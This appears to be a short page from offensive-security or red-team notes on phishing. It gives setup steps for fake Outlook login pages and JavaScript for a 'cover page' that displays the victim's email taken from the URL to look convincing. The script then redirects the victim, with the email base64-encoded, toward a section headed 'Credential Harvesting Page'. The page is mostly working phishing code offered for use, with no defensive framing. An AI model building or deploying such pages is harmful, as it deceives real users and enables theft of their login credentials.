Phishing
Make sure to check what mailing server target is using first
Outlook Login Pages
Setup Landing Page (Cover Page)
<script>
function onWindowLoad() {
const urlParams = new URLSearchParams(window.location.search);
const email = urlParams.get('email');
const destination = urlParams.get('url');
var xhr = new XMLHttpRequest();
xhr.open('GET', destination, true);
xhr.send();
fetch(destination);
var outputCdc = document.getElementById("gf-user");
outputCdc.innerText=`${email}`;
}
window.onload = onWindowLoad;
function redirected() {
const urlParams = new URLSearchParams(window.location.search);
const destination = urlParams.get('url');
const email = urlParams.get('email');
const emailb = btoa(email);
if (destination) {
window.location.href = destination + "&key=" + emailb;
} else {
window.location.href = 'defaultPage.html';
}
}
</script>Setup Login Page (Credential Harvesting Page)
Last updated